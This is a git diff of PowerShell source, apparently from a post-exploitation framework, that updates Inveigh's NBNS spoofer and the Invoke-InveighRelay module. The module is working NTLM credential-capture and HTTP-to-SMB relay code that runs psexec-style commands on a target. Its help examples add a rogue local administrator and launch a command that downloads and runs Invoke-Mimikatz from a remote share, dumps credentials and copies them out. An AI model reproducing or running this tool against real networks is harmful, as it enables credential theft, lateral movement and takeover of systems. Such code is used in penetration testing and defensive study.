exited due to run time")]) + Start-Sleep -m 5 + $inveigh.running = $false + } + } + } + + if($NBNSPause -and $inveigh.hostname_spoof) + { + if($inveigh.NBNS_stopwatch.elapsed -ge $NBNS_pause) + { + $inveigh.hostname_spoof = $false + } + } + + if($inveigh.file_output -and !$inveigh.running) + { + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveRange(0,1) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } + } + + Start-Sleep -m 5 + } + } + +# End ScriptBlocks +# Begin Startup Functions + +# HTTP Listener Startup Function +Function HTTPListener() +{ + if($HTTPIP) + { + $HTTPIP = [system.net.IPAddress]::Parse($HTTPIP) + $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint($HTTPIP,$HTTPPort) + } + else + { + $inveigh.HTTP_endpoint = New-Object System.Net.IPEndPoint([ipaddress]::any,$HTTPPort) + } + + $inveigh.HTTP_listener = New-Object System.Net.Sockets.TcpListener $inveigh.HTTP_endpoint + $inveigh.HTTP_listener.Start() + $HTTP_runspace = [runspacefactory]::CreateRunspace() + $HTTP_runspace.Open() + $HTTP_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $HTTP_powershell = [powershell]::Create() + $HTTP_powershell.Runspace = $HTTP_runspace + $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument($HTTPBasicRealm).AddArgument($HTTPResponse).AddArgument( + $MachineAccounts).AddArgument($NBNSPause).AddArgument($WPADAuth).AddArgument($WPADIP).AddArgument($WPADPort).AddArgument( + $WPADDirectHosts).AddArgument($WPADResponse).AddArgument($RunCount) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# Spoofer Startup Function +Function Spoofer() +{ + $spoofer_runspace = [runspacefactory]::CreateRunspace() + $spoofer_runspace.Open() + $spoofer_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $spoofer_powershell = [powershell]::Create() + $spoofer_powershell.Runspace = $spoofer_runspace + $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument( + $SpooferTarget).AddArgument($NBNSPause).AddArgument($NBNSTTL) > $null + $spoofer_powershell.BeginInvoke() > $null +} + +# Control Brute Force Startup Function +Function ControlBruteForceLoop() +{ + $control_bruteforce_runspace = [runspacefactory]::CreateRunspace() + $control_bruteforce_runspace.Open() + $control_bruteforce_runspace.SessionStateProxy.SetVariable('inveigh',$inveigh) + $control_bruteforce_powershell = [powershell]::Create() + $control_bruteforce_powershell.Runspace = $control_bruteforce_runspace + $control_bruteforce_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $control_bruteforce_powershell.AddScript($control_bruteforce_scriptblock).AddArgument($NBNSPause).AddArgument($RunTime) > $null + $control_bruteforce_powershell.BeginInvoke() > $null +} + +# End Startup Functions + +# Startup Enabled Services + +# HTTP Server Start +if($HTTP -eq 'y') +{ + HTTPListener +} + +# Spoofer Start +if($NBNS -eq 'y') +{ + Spoofer +} + +# Control Brute Force Loop Start +if($NBNSPause -or $RunTime -or $inveigh.file_output) +{ + ControlBruteForceLoop +} + +if($inveigh.console_output) +{ + :console_loop while(($inveigh.bruteforce_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) + { + while($inveigh.console_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.console_queue[0]) + { + "Inveigh *exited *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* written to *" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + + $inveigh.console_queue.RemoveRange(0,1) + } + "* for relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "*SMB relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "* local administrator *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + } + } + } + + if($inveigh.console_input) + { + if([console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + } + + Start-Sleep -m 5 + } +} + +if($inveigh.file_output -and !$inveigh.running) +{ + while($inveigh.log_file_queue.Count -gt 0) + { + $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append + $inveigh.log_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv1_file_queue.Count -gt 0) + { + $inveigh.NTLMv1_file_queue[0]|Out-File $inveigh.NTLMv1_out_file -Append + $inveigh.NTLMv1_file_queue.RemoveRange(0,1) + } + + while($inveigh.NTLMv2_file_queue.Count -gt 0) + { + $inveigh.NTLMv2_file_queue[0]|Out-File $inveigh.NTLMv2_out_file -Append + $inveigh.NTLMv2_file_queue.RemoveRange(0,1) + } + + while($inveigh.cleartext_file_queue.Count -gt 0) + { + $inveigh.cleartext_file_queue[0]|Out-File $inveigh.cleartext_out_file -Append + $inveigh.cleartext_file_queue.RemoveRange(0,1) + } +} + +} \ No newline at end of file diff --git a/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 b/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 index 483c54e..13c7025 100644 --- a/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 +++ b/data/module_source/lateral_movement/Invoke-InveighRelay.ps1 @@ -2,49 +2,83 @@ Function Invoke-InveighRelay { <# .SYNOPSIS -Invoke-InveighRelay is the main Inveigh SMB relay function. Invoke-InveighRelay can be used either through Invoke-Inveigh or as a standalone function. +Invoke-InveighRelay performs NTLMv2 HTTP to SMB relay with psexec style command execution. + .DESCRIPTION Invoke-InveighRelay currently supports NTLMv2 HTTP to SMB relay with psexec style command execution. + + HTTP/HTTPS to SMB NTLMv2 relay with granular control + NTLMv1/NTLMv2 challenge/response capture over HTTP/HTTPS + Granular control of console and file output + Can be executed as either a standalone function or through Invoke-Inveigh + .PARAMETER HTTP -Default = Enabled: Enable/Disable HTTP challenge/response capture. +Default = Enabled: (Y/N) Enable/Disable HTTP challenge/response capture. + .PARAMETER HTTPS -Default = Disabled: Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. +Default = Disabled: (Y/N) Enable/Disable HTTPS challenge/response capture. Warning, a cert will be installed in the local store and attached to port 443. If the script does not exit gracefully, execute "netsh http delete sslcert ipport=0.0.0.0:443" and manually remove the certificate from "Local Computer\Personal" in the cert store. + +.PARAMETER HTTPSCertAppID +Specify a valid application GUID for use with the ceriticate. + +.PARAMETER HTTPSCertThumbprint +Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current working directory and named Inveigh.pfx. + .PARAMETER Challenge Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request. Note that during SMB relay attempts, the challenge will be pulled from the SMB relay target. + .PARAMETER MachineAccounts -Default = Disabled: Enable/Disable showing NTLM challenge/response captures from machine accounts. -.PARAMETER ForceWPADAuth -Default = Enabled: Matches Responder option to Enable/Disable authentication for wpad.dat GET requests. Disabling can prevent browser login prompts. +Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. + +.PARAMETER WPADAuth +Default = NTLM: (Anonymous,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts. + .PARAMETER SMBRelayTarget IP address of system to target for SMB relay. + .PARAMETER SMBRelayCommand Command to execute on SMB relay target. + .PARAMETER SMBRelayUsernames Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format. + .PARAMETER SMBRelayAutoDisable -Default = Enable: Automaticaly disable SMB relay after a successful command execution on target. +Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. + .PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. +Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay target after each packet is sent. + .PARAMETER ConsoleOutput -Default = Disabled: Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. +Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. + .PARAMETER FileOutput -Default = Disabled: Enable/Disable real time file output. +Default = Disabled: (Y/N) Enable/Disable real time file output. + .PARAMETER StatusOutput -Default = Enabled: Enable/Disable statup and shutdown messages. +Default = Enabled: (Y/N) Enable/Disable startup and shutdown messages. + .PARAMETER OutputStreamOnly -Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh through a shell that does not return other output streams. +Default = Disabled: Enable/Disable forcing all output to the standard output stream. This can be helpful if running Inveigh Relay through a shell that does not return other output streams. Note that you will not see the various yellow warning messages if enabled. + .PARAMETER OutputDir -Default = Working Directory: Set an output directory for log and capture files. +Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must also be enabled. + .PARAMETER ShowHelp -Default = Enabled: Enable/Disable the help messages at startup. +Default = Enabled: (Y/N) Enable/Disable the help messages at startup. + +.PARAMETER RunTime +(Integer) Set the run time duration in minutes. + .PARAMETER Tool -Default = 0: Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire + .EXAMPLE -Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Summer2015 /add && net localgroup administrators Dave /add" +Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Spring2016 /add && net localgroup administrators Dave /add" Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target. + .EXAMPLE Invoke-InveighRelay -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd" Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. @@ -52,27 +86,35 @@ Powermeup.cmd contents used for this example: powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1" Original version: https://github.com/mubix/post-exploitation/blob/master/scripts/mass_mimikatz/powermeup.cmd + .LINK https://github.com/Kevin-Robertson/Inveigh #> + +# Parameter default values can be modified in this section: param ( [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTP="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$HTTPS="N", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ConsoleOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$FileOutput="N", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$StatusOutput="Y", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$OutputStreamOnly="N", - [parameter(Mandatory=$true)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][array]$SMBRelayUsernames, - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", - [parameter(Mandatory=$true)][string]$SMBRelayCommand = "", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$SMBRelayAutoDisable="Y", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","NTLM")][string]$WPADAuth="NTLM", [parameter(Mandatory=$false)][ValidateSet("0","1","2")][string]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][string]$ShowHelp="Y" + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][string]$OutputDir="", + [parameter(Mandatory=$true)][ValidateScript({$_ -match [IPAddress]$_ })][string]$SMBRelayTarget ="", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][string]$Challenge="", + [parameter(Mandatory=$false)][array]$SMBRelayUsernames="", + [parameter(Mandatory=$false)][int]$SMBRelayNetworkTimeout="", + [parameter(Mandatory=$false)][int]$RunTime="", + [parameter(Mandatory=$true)][string]$SMBRelayCommand = "", + [parameter(Mandatory=$false)][string]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", + [parameter(Mandatory=$false)][string]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) if ($invalid_parameter) @@ -122,7 +164,8 @@ if(!$inveigh.running) $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList - $inveigh.certificate_thumbprint = "76a49fd27011cf4311fb6914c904c90a89f3e4b2" + $inveigh.certificate_application_ID = $HTTPSCertAppID + $inveigh.certificate_thumbprint = $HTTPSCertThumbprint $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList $inveigh.console_output = $false $inveigh.console_input = $true @@ -155,7 +198,7 @@ else $inveigh.output_stream_only = $false } -if($Tool -eq 1) # Metasploit Interactive PowerShell +if($Tool -eq 1) # Metasploit Interactive Powershell { $inveigh.tool = 1 $inveigh.output_stream_only = $true @@ -181,7 +224,7 @@ else if(!$inveigh.running) { $inveigh.status_queue.add("Inveigh Relay started at $(Get-Date -format 's')")|Out-Null - $inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay started")]) |Out-Null if($HTTP -eq 'y') { @@ -202,10 +245,13 @@ if(!$inveigh.running) $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\inveigh.pfx") + $certificate.Import($PWD.Path + "\Inveigh.pfx") $certificate_store.Add($certificate) $certificate_store.Close() - Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null + $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint + $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" + $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) + & "netsh" $netsh_arguments > $null $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null } catch @@ -232,14 +278,7 @@ if(!$inveigh.running) $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null } - if($ForceWPADAuth -eq 'y') - { - $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null - } - else - { - $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null - } + $inveigh.status_queue.add("Force WPAD Authentication = $WPADAuth")|Out-Null if($ConsoleOutput -eq 'y') { @@ -268,22 +307,29 @@ if(!$inveigh.running) { $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null } + + if($RunTime -eq 1) + { + $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null + } + elseif($RunTime -gt 1) + { + $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null + } } $inveigh.status_queue.add("SMB Relay Enabled") |Out-Null $inveigh.status_queue.add("SMB Relay Target = $SMBRelayTarget")|Out-Null -if($SMBRelayUsernames.Count -gt 0) +if($SMBRelayUsernames) { - $SMBRelayUsernames_output = $SMBRelayUsernames -join "," - if($SMBRelayUsernames.Count -eq 1) { - $inveigh.status_queue.add("SMB Relay Username = $SMBRelayUsernames_output")|Out-Null + $inveigh.status_queue.add("SMB Relay Username = " + $SMBRelayUsernames -join ",")|Out-Null } else { - $inveigh.status_queue.add("SMB Relay Usernames = $SMBRelayUsernames_output")|Out-Null + $inveigh.status_queue.add("SMB Relay Usernames = " + $SMBRelayUsernames -join ",")|Out-Null } } @@ -340,10 +386,10 @@ if($inveigh.status_output) } } -$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id +$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |Select-Object -expand id $process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID)) $process_ID = $process_ID -replace "-00-00","" -[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)} +[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[CHAR][CONVERT]::toint16($_,16)} # Begin ScriptBlocks @@ -376,7 +422,7 @@ $shared_basic_functions_scriptblock = $string_data = [System.BitConverter]::ToString($string_extract_data[($string_start+$string2_length+$string3_length)..($string_start+$string_length+$string2_length+$string3_length-1)]) $string_data = $string_data -replace "-00","" - $string_data = $string_data.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $string_data = $string_data.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $string_extract = New-Object System.String ($string_data,0,$string_data.Length) return $string_extract } @@ -436,13 +482,13 @@ $SMB_relay_challenge_scriptblock = $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length) $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 34)) $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 45)) $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 104)) $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} [array]::Reverse($SMB_netbios_length) [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)` @@ -509,20 +555,32 @@ $SMB_relay_response_scriptblock = { $SMB_relay_response_stream = $SMB_relay_socket.GetStream() } - - $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 244) - $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 248) - $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 252) - $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length - 256) + + $SMB_length_1 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 12)) + $SMB_length_1 = $SMB_length_1 -replace "-00-00","" + $SMB_length_1 = $SMB_length_1.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_length_2 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 8)) + $SMB_length_2 = $SMB_length_2 -replace "-00-00","" + $SMB_length_2 = $SMB_length_2.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_length_3 = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 4)) + $SMB_length_3 = $SMB_length_3 -replace "-00-00","" + $SMB_length_3 = $SMB_length_3.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_NTLMSSP_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length)) + $SMB_NTLMSSP_length = $SMB_NTLMSSP_length -replace "-00-00","" + $SMB_NTLMSSP_length = $SMB_NTLMSSP_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 16)) $SMB_blob_length = $SMB_blob_length -replace "-00-00","" - $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_blob_length = $SMB_blob_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 27)) $SMB_byte_count = $SMB_byte_count -replace "-00-00","" - $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_byte_count = $SMB_byte_count.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 86)) $SMB_netbios_length = $SMB_netbios_length -replace "-00-00","" - $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_netbios_length = $SMB_netbios_length.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + [array]::Reverse($SMB_length_1) + [array]::Reverse($SMB_length_2) + [array]::Reverse($SMB_length_3) + [array]::Reverse($SMB_NTLMSSP_length) [array]::Reverse($SMB_netbios_length) $j = 0 @@ -538,17 +596,17 @@ $SMB_relay_response_scriptblock = + $SMB_blob_length` + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)` + $SMB_byte_count` - + (0xa1,0x82,0x01)` + + (0xa1,0x82)` + $SMB_length_1` - + (0x30,0x82,0x01)` + + (0x30,0x82)` + $SMB_length_2` - + (0xa2,0x82,0x01)` + + (0xa2,0x82)` + $SMB_length_3` - + (0x04,0x82,0x01)` + + (0x04,0x82)` + $SMB_NTLMSSP_length` + $HTTP_request_bytes` + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00) - + $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length) $SMB_relay_response_stream.Flush() @@ -595,17 +653,17 @@ $SMB_relay_execute_scriptblock = $SMB_relay_failed = $false $SMB_relay_execute_bytes = New-Object System.Byte[] 1024 - $SMB_service_random = [String]::Join("00-", (1..20 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) + $SMB_service_random = [String]::Join("00-", (1..20 | ForEach-Object{"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)})) $SMB_service = $SMB_service_random -replace "-00","" $SMB_service = $SMB_service.Substring(0,$SMB_service.Length-1) - $SMB_service = $SMB_service.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_service = $SMB_service.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_service = New-Object System.String ($SMB_service,0,$SMB_service.Length) $SMB_service_random += '00-00-00' - [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} - $SMB_referent_ID_bytes = [String](1..4 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + [Byte[]]$SMB_service_bytes = $SMB_service_random.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} + $SMB_referent_ID_bytes = [String](1..4 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $SMB_referent_ID_bytes = $SMB_referent_ID_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`"" - [System.Text.Encoding]::ASCII.GetBytes($SMBRelayCommand) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ } + [System.Text.Encoding]::UTF8.GetBytes($SMBRelayCommand) | ForEach-Object{ $SMB_relay_command += "{0:X2}-00-" -f $_ } if([bool]($SMBRelayCommand.length%2)) { @@ -616,7 +674,7 @@ $SMB_relay_execute_scriptblock = $SMB_relay_command += '00-00-00-00' } - [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237) $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0] $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + $SMB_service_bytes.length + 237 - 63) @@ -885,7 +943,7 @@ $SMB_relay_execute_scriptblock = # HTTP/HTTPS Server ScriptBlock - HTTP/HTTPS listener $HTTP_scriptblock = { - param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$MachineAccounts,$ForceWPADAuth) + param ($SMBRelayTarget,$SMBRelayCommand,$SMBRelayUsernames,$SMBRelayAutoDisable,$SMBRelayNetworkTimeout,$MachineAccounts,$WPADAuth) Function NTLMChallengeBase64 { @@ -893,19 +951,19 @@ $HTTP_scriptblock = $HTTP_timestamp = Get-Date $HTTP_timestamp = $HTTP_timestamp.ToFileTime() $HTTP_timestamp = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_timestamp)) - $HTTP_timestamp = $HTTP_timestamp.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_timestamp = $HTTP_timestamp.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} if($Inveigh.challenge) { $HTTP_challenge = $Inveigh.challenge $HTTP_challenge_bytes = $Inveigh.challenge.Insert(2,'-').Insert(5,'-').Insert(8,'-').Insert(11,'-').Insert(14,'-').Insert(17,'-').Insert(20,'-') - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split("-") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} } else { - $HTTP_challenge_bytes = [String](1..8 | % {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $HTTP_challenge_bytes = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $HTTP_challenge = $HTTP_challenge_bytes -replace ' ', '' - $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $HTTP_challenge_bytes = $HTTP_challenge_bytes.Split(" ") | ForEach-Object{ [CHAR][CONVERT]::toint16($_,16)} } $inveigh.HTTP_challenge_queue.Add($inveigh.request.RemoteEndpoint.Address.IPAddressToString + $inveigh.request.RemoteEndpoint.Port + ',' + $HTTP_challenge) |Out-Null @@ -946,8 +1004,7 @@ $HTTP_scriptblock = $HTTP_type = "HTTP" } - - if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($ForceWPADAuth -eq 'n')) + if (($inveigh.request.RawUrl -match '/wpad.dat') -and ($WPADAuth -eq 'Anonymous')) { $inveigh.response.StatusCode = 200 } @@ -966,6 +1023,9 @@ $HTTP_scriptblock = if ($HTTP_request_bytes[8] -eq 1) { + $inveigh.console_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address) + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - $HTTP_type request for " + $inveigh.request.RawUrl + " received from " + $inveigh.request.RemoteEndpoint.Address)]) + if(($inveigh.SMB_relay) -and ($inveigh.SMB_relay_active_step -eq 0) -and 